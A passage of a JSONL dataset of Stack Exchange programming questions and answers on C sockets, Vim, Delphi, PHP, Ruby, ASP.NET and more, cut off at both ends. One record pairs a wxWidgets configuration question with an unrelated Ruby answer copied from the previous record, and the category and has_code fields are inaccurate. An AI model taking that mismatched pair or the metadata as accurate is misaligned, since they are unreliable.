"category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.139051"}
{"id": "hf_8ccbb27b79db", "question": "<p>I am a bit confused about socket programming in C.</p>\n\n<p>You create a socket, bind it to an interface and an IP address and get it to listen. I found a couple of web resources on that, and understood it fine. In particular, I found an article <s><a href=\"http://users.actcom.co.il/~choo/lupg/tutorials/internetworking/internet-theory.html\" rel=\"nofollow noreferrer\">Network programming under Unix systems</a></s> to be very informative.</p>\n\n<p>What confuses me is the timing of data arriving on the socket.</p>\n\n<p>How can you tell when packets arrive, and how big the packet is, do you have to do all the heavy lifting yourself? </p>\n\n<p>My basic assumption here is that packets can be of variable length, so once binary data starts appearing down the socket, how do you begin to construct packets from that?</p>\n", "question_body": "", "answer": "When you do a read on the socket, you tell it how many maximum bytes to read, but if it doesn't have that many, it gives you however many it's got.  It's up to you to design the protocol so you know whether you've got a partial packet or not.  For instance, in the past when sending variable length binary data, I would put an int at the beginning that said how many bytes to expect.  I'd do a read requesting a number of bytes greater than the largest possible packet in my protocol, and then I'd compare the first int against however many bytes I'd received, and either process it or try more reads until I'd gotten the full packet, depending.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.189082"}
{"id": "hf_c8cde871ca9c", "question": "<p>What is the JavaScript to scroll to the top when a button/link/etc. is clicked?</p>\n", "question_body": "", "answer": "```\n```\n<a href=\"javascript:scroll(0, 0)\">Top</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.229399"}
{"id": "hf_01c5f480391d", "question": "<p>Does anybody know of a way to list up the \"loaded plugins\" in <strong>Vim</strong>?\nI know I should be keeping track of this kind of stuff myself but\nit would always be nice to be able to check the current status.</p>\n", "question_body": "", "answer": "Not a VIM user myself, so forgive me if this is totally offbase. But according to what I gather from the following\nVIM Tips\nsite:\n```\n```\n\" where was an option set  \n:scriptnames            : list all plugins, _vimrcs loaded (super)  \n:verbose set history?   : reveals value of history and where set  \n:function               : list functions  \n:func SearchCompl       : List particular function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.269599"}
{"id": "hf_fdde607290d3", "question": "<p>I copied some Delphi code from one project to another, and found that it doesn't compile in the new project, though it did in the old one. The code looks something like this:</p>\n\n<pre><code>procedure TForm1.CalculateGP(..)\nconst\n   Price : money = 0;\nbegin\n   ...\n   Price := 1.0;\n   ...\nend;\n</code></pre>\n\n<p>So in the new project, Delphi complains that \"left side cannot be assigned to\" - understandable! But this code compiles in the old project. So my question is, <strong>why</strong>? Is there a compiler switch to allow consts to be reassigned? How does that even work? I thought consts were replaced by their values at compile time?</p>\n", "question_body": "", "answer": "You need to turn assignable typed constants on.\n\nProject -> Options -> Compiler -> Assignable typed Constants\nAlso you can add\n```\n{$J+}\n```\nor\n```\n{$WRITEABLECONST ON}\n```\nto the pas file, which is probably better, since it'll work even if you move the file to another project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.293330"}
{"id": "hf_d798fbd08578", "question": "<p>I'm building an application in C# using WPF. How can I bind to some keys?</p>\n\n<p>Also, how can I bind to the <a href=\"http://en.wikipedia.org/wiki/Windows_key\" rel=\"noreferrer\">Windows key</a>?</p>\n", "question_body": "", "answer": "I'm not sure about WPF, but this may help. I used the solution described in\nRegisterHotKey (user32)\n(modified to my needs of course) for a C# Windows Forms application to assign a CTRL-KEY combination within Windows to bring up a C# form, and it worked beautifully (even on Windows Vista). I hope it helps and good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.316801"}
{"id": "hf_e17637843ca2", "question": "<p>How are callbacks written in PHP?</p>\n", "question_body": "", "answer": "Implementation of a callback is done like so\n```\n```\n// This function uses a callback function. \nfunction doIt($callback) \n{ \n    $data = \"this is my data\";\n    $callback($data); \n} \n\n// This is a sample callback function for doIt(). \nfunction myCallback($data) \n{ \n    print 'Data is: ' .  $data .  \"\\n\"; \n} \n\n// Call doIt() and pass our sample callback function's name. \ndoIt('myCallback');\n```\n```\nDisplays: Data is: this is my data", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.339960"}
{"id": "hf_e2b6c6dd763b", "question": "<p>We're using WatiN for testing our UI, but one page (which is unfortunately not under our teams control) takes forever to finish loading.  Is there a way to get WatiN to click a link on the page before the page finishes rendering completely?</p>\n", "question_body": "", "answer": "Here's the code we found to work:\n```\n```\nIE browser = new IE(....);\nbrowser.Button(\"SlowPageLoadingButton\").ClickNoWait();\nLink continueLink = browser.Link(Find.ByText(\"linktext\"));\ncontinueLink.WaitUntilExists();\ncontinueLink.Click();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.363637"}
{"id": "hf_92870c74485f", "question": "<p>I am wondering if anyone has any experience using a JQuery plugin that converts a html </p>\n\n<pre><code>&lt;select&gt; \n  &lt;option&gt; Blah &lt;/option&gt; \n&lt;/select&gt;\n</code></pre>\n\n<p>combo box into something (probably a div) where selecting an item acts the same as clicking a link.</p>\n\n<p>I guess you could probably use javascript to handle a selection event (my javascript knowledge is a little in disrepair at the moment) and 'switch' on the value of the combo box but this seems like more of a hack.</p>\n\n<p>Your advice, experience and recommendations are appreciated.</p>\n", "question_body": "", "answer": "This bit of javascript in the 'select':\n```\n```\nonchange=\"if(this.options[this.selectedIndex].value!=''){this.form.submit()}\"\n```\n```\nIt's not ideal (because form submissions in ASP.NET MVC which I'm using don't appear to use the routing engine for URLs) but it does its job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.386748"}
{"id": "hf_66265e9475fd", "question": "<p>Why prefer composition over inheritance?  What trade-offs are there for each approach?  When should you choose inheritance over composition?</p>\n", "question_body": "", "answer": "Think of containment as a\nhas a\nrelationship. A car \"has an\" engine, a person \"has a\" name, etc.\nThink of inheritance as an\nis a\nrelationship. A car \"is a\" vehicle, a person \"is a\" mammal, etc.\nI take no credit for this approach. I took it straight from the\nSecond Edition of Code Complete\nby\nSteve McConnell\n,\nSection 6.3\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.422208"}
{"id": "hf_5db342dd113c", "question": "<p>Why does <code>n</code> not equal to <code>8</code> in the following function?</p>\n\n<pre><code>void foo(char cvalue[8])\n{\n  int n = sizeof (cvalue);\n}\n</code></pre>\n\n<p>But <code>n</code> <em>does</em> equal to <code>8</code> in this version of the function:</p>\n\n<pre><code>void bar()\n{\n  char cvalue[8];\n  int n = sizeof (cvalue);\n}\n</code></pre>\n", "question_body": "", "answer": "Because you can't pass entire arrays as function parameters in C.  You're actually passing a pointer to it; the brackets are syntactic sugar.  There are no guarantees the array you're pointing to has size 8, since you could pass this function any character pointer you want.\n```\n```\n// These all do the same thing\nvoid foo(char cvalue[8])\nvoid foo(char cvalue[])\nvoid foo(char *cvalue)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.470118"}
{"id": "hf_e8894cd190ac", "question": "<p>I am bit confused about ADO.Net Data Services.</p>\n\n<p>Is it just meant for creating RESTful web services? I know WCF started in the SOAP world but now I hear it has good support for REST. Same goes for ADO.Net data services where you can make it work in an RPC model if you cannot look at everything from a resource oriented view.</p>\n\n<p>At least from the demos I saw recently, it looks like ADO.Net Data Services is built on WCF stack on the server. Please correct me if I am wrong.</p>\n\n<p>I am not intending to start a REST vs SOAP debate but I guess things are not that crystal clear anymore.</p>\n\n<p>Any suggestions or guidelines on what to use where?</p>\n", "question_body": "", "answer": "In my view ADO.Net data services is for creating restful services that are closely aligned with your domain model, that is the models themselves are published rather then say some form of DTO etc.\nUsing it for RPC style services seems like a bad fit, though unfortunately even some very basic features like being able to perform a filtered counts etc. aren't available which often means you'll end up using some RPC just to meet the requirements of your customers i.e. so you can display a paged grid etc.\nWCF 3.5 pre-SP1 was a fairly weak RESTful platform, with SP1 things have improved in both Uri templates and with the availability of ATOMPub support, such that it's becoming more capable, but they don't really provide any elegant solution for supporting say JSON, XML, ATOM or even something more esoteric like payload like CSV simultaneously, short of having to make use of URL rewriting and different extension, method name munging etc. - rather then just selecting a serializer/deserializer based on the headers of the request.\nWith WCF it's still difficult to create services that work in a more a natural restful manor i.e. where resources include urls, and you can transition state by navigating through them - it's a little clunky - ADO.Net data services does this quite well with it's AtomPub support though.\nMy recommendation would be use web services where they're naturally are services and strong service boundaries being enforced, use ADO.Net Data services for rich web-style clients (websites, ajax, silverlight) where the composability of the url queries can save a lot of plumbing and your domain model is pretty basic... and roll your own REST layer (perhaps using an MVC framework as a starting point) if you need complete control over the information i.e. if you're publishing an API for other developers to consume on a social platform etc.\nMy 2ø worth!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.518667"}
{"id": "hf_6bdc287a05e5", "question": "<p>So I have a function that looks something like this:</p>\n\n<pre><code>float function(){\n    float x = SomeValue;\n    return x / SomeOtherValue;\n}\n</code></pre>\n\n<p>At some point, this function overflows and returns a really large negative value.  To try and track down exactly where this was happening, I added a cout statement so that the function looked like this:</p>\n\n<pre><code>float function(){\n    float x = SomeValue;\n    cout &lt;&lt; x;\n    return x / SomeOtherValue;\n}\n</code></pre>\n\n<p>and it worked!  Of course, I solved the problem altogether by using a double.  But I'm curious as to why the function worked properly when I couted it.  Is this typical, or could there be a bug somewhere else that I'm missing?</p>\n\n<p>(If it's any help, the value stored in the float is just an integer value, and not a particularly big one.  I just put it in a float to avoid casting.)</p>\n", "question_body": "", "answer": "Printing a value to cout should not change the value of the paramter in any way at all.\nHowever, I have seen similar behaviour, adding debugging statements causes a change in the value. In those cases, and probably this one as well my guess was that the additional statements were causing the compiler's optimizer to behave differently, so generate different code for your function.\nAdding the cout statement means that the vaue of x is used directly. Without it the optimizer could remove the variable, so changing the order of the calculation and therefore changing the answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.555560"}
{"id": "hf_df3d283a97cc", "question": "<p>Actionscript 3.0 (and I assume Javascript and ECMAScript in general) lacks pass-by-reference for native types like ints. As a result I'm finding getting values back from a function really clunky.  What's the normal pattern to work around this?  </p>\n\n<p>For example, is there a clean way to implement <em>swap( intA, intB )</em> in Actionscript?</p>\n", "question_body": "", "answer": "If ActionScript works like Javascript,\n```\n```\n[a,b] = [b,a]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.587084"}
{"id": "hf_ad0ffa998165", "question": "<p>I'm looking at using OpenID for my authentication scheme and wanted to know what the best .NET library is to use for MVC specific applications?</p>\n\n<p>thx</p>\n", "question_body": "", "answer": ".Net OpenID project\nis the best library to use right now that I know of.  I think SO used it also.  The source includes a sample ASP.NET MVC project using the library.\nScott Hanselman did a\npost\non how to use the .Net OpenID project inside of ASP.NET MVC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.621698"}
{"id": "hf_49fcf9e82158", "question": "<p>I have just installed C# for the first time, and at first glance it appears to be very similar to VB6. I decided to start off by trying to make a 'Hello, World!' UI Edition.</p>\n\n<p>I started in the Form Designer and made a button named \"Click Me!\" proceeded to double-click it and typed in</p>\n\n<pre><code>MessageBox(\"Hello, World!\");\n</code></pre>\n\n<p>I received the following error:</p>\n\n<p>MessageBox is a 'type' but used as a 'variable'</p>\n\n<p>Fair enough, it seems in C# MessageBox is an Object. I tried the following</p>\n\n<pre><code>MessageBox a = new MessageBox(\"Hello, World!\");\n</code></pre>\n\n<p>I received the following error:\nMessageBox does not contain a constructor that takes '1' arguments</p>\n\n<p>Now I am stumped. Please help.</p>\n", "question_body": "", "answer": "Code summary:\n```\n```\nusing System.Windows.Forms;\n\n...\n\nMessageBox.Show( \"hello world\" );\n```\n```\nAlso (\nas per this other stack post\n): In Visual Studio expand the project in Solution Tree, right click on References, Add Reference, Select\n```\nSystem.Windows.Forms\n```\non Framework tab. This will get the MessageBox working in conjunction with the using System.Windows.Forms reference from above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.679635"}
{"id": "hf_3063f587ef3c", "question": "<p>I have a .tag file that requires a JavaScript library (as in a .js file).</p>\n\n<p>Currently I am just remembering to import the .js file in every JSP that uses the tag but this is a bit cumbersome and prone to error.</p>\n\n<p>Is there a way to do the importing of the .js inside the JSP tag?</p>\n\n<p><em>(for caching reasons I would want the .js to be a script import)</em></p>\n", "question_body": "", "answer": "Short of just including the js in every page automatically, I do not think so. It really would not be something that tags are designed to to.\nWithout knowing what your tag is actually doing (presumably its its outputting something in the body section) then there is no way that it will be able to get at the head to put the declaration there.\nOne solution that might (in my head) work would be to have an include that copies verbatim what you have in the head after the place in the head to import tags right up to where you want to use the tag. This is really not something that you would want to do. You would have to have multiple 'header' files to import depending on the content and where you want to use the tag. Maintenance nightmare. Just a bad idea all round. Any solution I can think of would require more work than manually just adding in the declaration.\nI think you are out of luck and stuck with manually putting it in.\nedit: Just import it in every page. It will be cached and then this problem goes away.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.703641"}
{"id": "hf_2388284c4822", "question": "<p>I've got quite a few GreaseMonkey scripts that I wrote at my work which automatically log me into the internal sites we have here.  I've managed to write a script for nearly each one of these sites except for our time sheet application, which uses HTTP authentication.  </p>\n\n<p>Is there a way I can use GreaseMonkey to log me into this site automatically?</p>\n\n<p>Edit: I am aware of the store password functionality in browsers, but my scripts go a step further by checking if I'm logged into the site when it loads (by traversing HTML) and then submitting a post to the login page.  This removes the step of having to load up the site, entering the login page, entering my credentials, then hitting submit</p>\n", "question_body": "", "answer": "Why don't you use Firefox (I assume you're using Firefox) to remember your credentials using the Password Manager?\nI found this link:\nHTTP Authentication with HTML Forms\n.  Looks like you can use javascript to do HTTP authentication.  I don't think you can have Greasemonkey interrupt when you are first navigating to a URL though.  You might have to setup some sort of launching point that you can use to have greasemonkey automatically redirect + login.  For example, you can have the local page that takes the destination URL in the query string, have Greasemonkey automatically do the authenticate + redirect.  The only problem is that you'll have to wrap the site bookmarks with your launching page for the bookmarks you use as entry points.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.728158"}
{"id": "hf_283fdc23ff4e", "question": "<p>How do I turn a python program into an .egg file?</p>\n", "question_body": "", "answer": "Setuptools\nis the software that creates\n.egg files\n. It's an extension of the\n```\ndistutils\n```\npackage in the standard library.\nThe process involves creating a\n```\nsetup.py\n```\nfile, then\n```\npython setup.py bdist_egg\n```\ncreates an .egg package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.751885"}
{"id": "hf_54dda26a3a4f", "question": "<p>The first language I learnt  was PHP, but I have more recently picked up Python. As these are all 'high-level' languages, I have found them a bit difficult to pick up. I also tried to learn Objective-C but I gave up.</p>\n\n<p>So, what language should I learn to bridge between Python to C</p>\n", "question_body": "", "answer": "It's not clear why you need a bridge language. Why don't you start working with C directly? C is a very simple language itself. I think that hardest part for C learner is pointers and everything else related to memory management. Also C lang is oriented on structured programming, so you will need to learn how to implement data structures and algorithms without OOP goodness. Actually, your question is pretty hard, usually people go from low level langs to high level and I can understand frustration of those who goes in other direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.823662"}
{"id": "hf_c221adfff6a6", "question": "<p>Should libraries that the application relies on be stored in source control? One part of me says it should and another part say's no. It feels wrong to add a 20mb library that dwarfs the entire app just because you rely on a couple of functions from it (albeit rather heavily). Should you just store the jar/dll or maybe even the distributed zip/tar of the project?</p>\n\n<p>What do other people do?</p>\n", "question_body": "", "answer": "store everything you will need to build the project 10 years from now.I store the entire zip distribution of any library, just in case\nEdit for 2017:\nThis answer did not age well:-). If you are still using something old like ant or make, the above still applies. If you use something more modern like maven or graddle (or Nuget on .net for example), with dependency management, you should be running a dependency management server, in addition to your version control server. As long as you have good backups of both, and your dependency management server does not delete old dependencies, you should be ok. For an example of a dependency management server, see for example\nSonatype Nexus\nor\nJFrog Artifcatory\n, among many others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.847766"}
{"id": "hf_07d38bd45d5e", "question": "<p>I'm considering using Flash but I'm pretty addicted to autocomplete and Step-at-a-time debugging.</p>\n", "question_body": "", "answer": "If you mean ActionScript I once heard that\nPrimalScript\nwill do Intellisense. Never tested it though. As for debugging, MAYBE,\nPrimalScope\nwill have that too. I'd recommend you try before you buy, though. (They both have trials.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.871254"}
{"id": "hf_027f62243282", "question": "<p>For a project I am working on in ruby I am overriding the method_missing method so that I can set variables using a method call like this, similar to setting variables in an ActiveRecord object:</p>\n\n<p><code>Object.variable_name= 'new value'</code> </p>\n\n<p>However, after implementing this I found out that many of the variable names have periods (.) in them. I have found this workaround:</p>\n\n<p><code>Object.send('variable.name=', 'new value')</code></p>\n\n<p>However, I am wondering is there a way to escape the period so that I can use</p>\n\n<p><code>Object.variable.name= 'new value'</code></p>\n", "question_body": "", "answer": "Don't do it!\nTrying to create identifiers that are not valid in your language is not a good idea. If you really want to set variables like that, use attribute macros:\n```\n```\nattr_writer :bar\nattr_reader :baz\nattr_accessor :foo\n```\n```\nOkay, now that you have been warned, here's how to do it.  Just return another instance of the same class every time you get a regular accessor, and collect the needed information as you go.\n```\n```\nclass SillySetter\n  def initialize path=nil\n    @path = path\n  end\n\n  def method_missing name,value=nil\n    new_path = @path ? \"#{@path}.#{name}\" : name\n    if name.to_s[-1] == ?=\n      puts \"setting #{new_path} #{value}\"\n    else\n      return self.class.new(path=new_path)\n    end\n  end\nend\n\ns = SillySetter.new\ns.foo = 5              # -> setting foo= 5\ns.foo.bar.baz = 4      # -> setting foo.bar.baz= 4\n```\n```\nI didn't want to encourage ruby sillyness, but I just couldn't help myself!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.945506"}
{"id": "hf_073ef128fe91", "question": "<p>I am writing my first serious wxWidgets program. I'd like to use the wxConfig facility to make the program's user options persistent. However I <em>don't</em> want wxConfigBase to automatically use the Windows registry. Even though I'm initially targeting Windows, I'd prefer to use a configuration (eg .ini) file. Does anyone know a clean and simple way of doing this ? Thanks.</p>\n", "question_body": "", "answer": "Don't do it!\nTrying to create identifiers that are not valid in your language is not a good idea. If you really want to set variables like that, use attribute macros:\n```\n```\nattr_writer :bar\nattr_reader :baz\nattr_accessor :foo\n```\n```\nOkay, now that you have been warned, here's how to do it.  Just return another instance of the same class every time you get a regular accessor, and collect the needed information as you go.\n```\n```\nclass SillySetter\n  def initialize path=nil\n    @path = path\n  end\n\n  def method_missing name,value=nil\n    new_path = @path ? \"#{@path}.#{name}\" : name\n    if name.to_s[-1] == ?=\n      puts \"setting #{new_path} #{value}\"\n    else\n      return self.class.new(path=new_path)\n    end\n  end\nend\n\ns = SillySetter.new\ns.foo = 5              # -> setting foo= 5\ns.foo.bar.baz = 4      # -> setting foo.bar.baz= 4\n```\n```\nI didn't want to encourage ruby sillyness, but I just couldn't help myself!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:47.969686"}
{"id": "hf_4066954a3c24", "question": "<p>I have a string, say <code>'123'</code>, and I want to convert it to the integer <code>123</code>.</p>\n\n<p>I know you can simply do <code>some_string.to_i</code>, but that converts <code>'lolipops'</code> to <code>0</code>, which is not the effect I have in mind. I want it to blow up in my face when I try to convert something invalid, with a nice and painful <code>Exception</code>. Otherwise, I can't distinguish between a valid <code>0</code> and something that just isn't a number at all.</p>\n\n<p><strong>EDIT:</strong> I was looking for the standard way of doing it, without regex trickery.</p>\n", "question_body": "", "answer": "Ruby has this functionality built in:\n```\n```\nInteger('1001')                                    # => 1001  \nInteger('1001 nights')  \n# ArgumentError: invalid value for Integer: \"1001 nights\"\n```\n```\nAs noted in answer by\nJoseph Pecoraro\n, you might want to watch for strings that are valid non-decimal numbers, such as those starting with\n```\n0x\n```\nfor hex and\n```\n0b\n```\nfor binary, and potentially more tricky numbers starting with zero that will be parsed as octal.\nRuby 1.9.2 added optional second argument for radix so above issue can be avoided:\n```\n```\nInteger('23')                                     # => 23\nInteger('0x23')                                   # => 35\nInteger('023')                                    # => 19\nInteger('0x23', 10)\n# => #<ArgumentError: invalid value for Integer: \"0x23\">\nInteger('023', 10)                                # => 23\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.045528"}
{"id": "hf_0de9a6583065", "question": "<p>We have some legacy code that needs to identify in the Page_Load which event caused the postback.\nAt the moment this is implemented by checking the Request data like this...</p>\n\n<p>if (Request.Form[\"__EVENTTARGET\"] != null<br>\n&amp;&amp; (Request.Form[\"__EVENTTARGET\"].IndexOf(\"BaseGrid\") > -1 // BaseGrid event ( e.g. sort)<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|| Request.Form[\"btnSave\"] != null            // Save button </p>\n\n<p>This is pretty ugly and breaks if someone renames a control. Is there a better way of doing this?</p>\n\n<p>Rewriting each page so that it does not need to check this in Page_Load is not an option at the moment.</p>\n", "question_body": "", "answer": "This should get you the control that caused the postback:\n```\n```\npublic static Control GetPostBackControl(Page page)\n{\n    Control control = null;\n\n    string ctrlname = page.Request.Params.Get(\"__EVENTTARGET\");\n    if (ctrlname != null && ctrlname != string.Empty)\n    {\n        control = page.FindControl(ctrlname);\n    }\n    else\n    {\n        foreach (string ctl in page.Request.Form)\n        {\n            Control c = page.FindControl(ctl);\n            if (c is System.Web.UI.WebControls.Button)\n            {\n                control = c;\n                break;\n            }\n        }\n    }\n    return control;\n}\n```\n```\nRead more about this on this page:\nhttp://ryanfarley.com/blog/archive/2005/03/11/1886.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.093913"}
{"id": "hf_c34177e66ffd", "question": "<p>Using the <code>zip</code> function, Python allows for loops to traverse multiple sequences in parallel.  </p>\n\n<p><code>for (x,y) in zip(List1, List2):</code></p>\n\n<p>Does MATLAB have an equivalent syntax? If not, what is the best way to iterate over two parallel arrays at the same time using MATLAB?</p>\n", "question_body": "", "answer": "If I'm not mistaken the zip function you use in python\ncreates a pair of the items found in list1 and list2\n. Basically it still is a for loop with the addition that it will retrieve the data from the two seperate lists for you, instead that you have to do it yourself.\nSo maybe your best option is to use a\nstandard\nfor loop like this:\n```\n```\nfor i=1:length(a)\n  c(i) = a(i) + b(i);\nend\n```\n```\nor whatever you have to do with the data.\nIf you really are talking about parallel computing then you should take a look at the\nParallel Computing Toolbox\nfor matlab, and more specifically at\nparfor", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.117700"}
{"id": "hf_4292a577f9a8", "question": "<p>Is it correct to link a static library (.lib) compiled with VS 2005 with a program which is compiled with VS 2008? Both library and my program are written in C++. This program is run on Windows Mobile 6 Professional emulator.</p>\n\n<p>This seems to work, there are no linking errors. However the program crashes during startup because strange things happen inside the linked library. E.g. lib can return a vector of characters with size of big negative number.</p>\n\n<p>There are no such problems when the program is compiled with VS 2005.</p>\n\n<p>What is even more strange the problem is only when using release configuration for the build. When compiling using debug configuration the problem doesn't occur.</p>\n", "question_body": "", "answer": "It's not incorrect to link to an older library in the way you describe, but it doesn't surprise me you're seeing some odd behavior. Couple sanity checks:\nAre both files using the\nsame versions\nof the\nsame run-time libraries\n?\nIs your .EXE application \"seeing\" the same header files that the .LIB was built against? Make sure that the _WIN32_WINNT (etc.) macros are\ndeclared properly\n.\nAnd when you say .LIB, do you mean a true static library (mylib.lib) or an import library for a DLL (mylib.lib -> mylib.dll)?\nAnd what are the compile/link settings for your VS2008 executable project?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:48.140793"}
{"id": "hf_165f0cc6e8f9", "question": "<p>Is it possible to prevent an asp.net Hyperlink control from linking, i.e. so that it appears as a label, without actually having to replace the control with a label? Maybe using CSS or setting an attribute?</p>\n\n<p>I know that marking it as disabled works but then it gets displayed differently (greyed out).</p>\n\n<p>To clarify my point, I have a list of user names at the top of my page which are built dynamically using a user control. Most of the time these names are linkable to an email page. However if the user has been disabled the name is displayed in grey but currently still links to the email page. I want these disabled users to not link.</p>\n\n<p>I know that really I should be replacing them with a label but this does not seem quite as elegant as just removing the linking ability usings CSS say (if thats possible). They are already displayed in a different colour so its obvious that they are disabled users. I just need to switch off the link.</p>\n", "question_body": "", "answer": "If you merely want to modify the appearance of the link so as not to look like a link, you can set the CSS for your \"a\" tags to not have underlines:\n```\n```\na: link, visited, hover, active {\n    text-decoration: none;\n}\n```\n```\nThough I would advise against including \"hover\" here because there will be no other way to know that it's a link.\nAnyway I agree with @pilif here, this looks like a usability disaster waiting to happen.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 